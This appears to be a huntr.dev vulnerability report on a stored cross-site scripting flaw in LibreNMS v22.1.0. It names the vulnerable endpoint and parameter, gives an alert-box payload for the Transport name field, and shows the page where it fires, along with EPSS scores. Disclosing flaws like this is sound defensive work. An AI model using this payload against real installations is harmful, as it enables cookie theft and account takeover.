Cross-site Scripting (XSS) - Generic in librenms/librenms

2022-02-1221:28:19

faisalfs10x

www.huntr.dev

0.001 Low

EPSS

Percentile

34.3%

JSON

Description

Cross-Site Scripting vulnerability in LibreNMS v22.1.0 which allows attackers to execute arbitrary javascript code which affected Alerts module (Alert Transport) in Transport name field.

Proof of Concept

Endpoint:

1 POST http://{HOST}/ajax_form.php - Parameter name

Payload:

'><body onload=alert("TName")>

XSS will fire-up by user visiting:

1 http://{HOST}/alert-transports

PoC images:

1 payload

2 XSS-Name field

Impact

This vulnerability is capable of running malicious javascript code on web pages, stealing a user’s cookie and gain unauthorized access to that user’s account through the stolen cookie.

0.001 Low

EPSS

Percentile

34.3%

JSON

Related for 114BA055-A2F0-4DB9-AAFB-95DF944BA177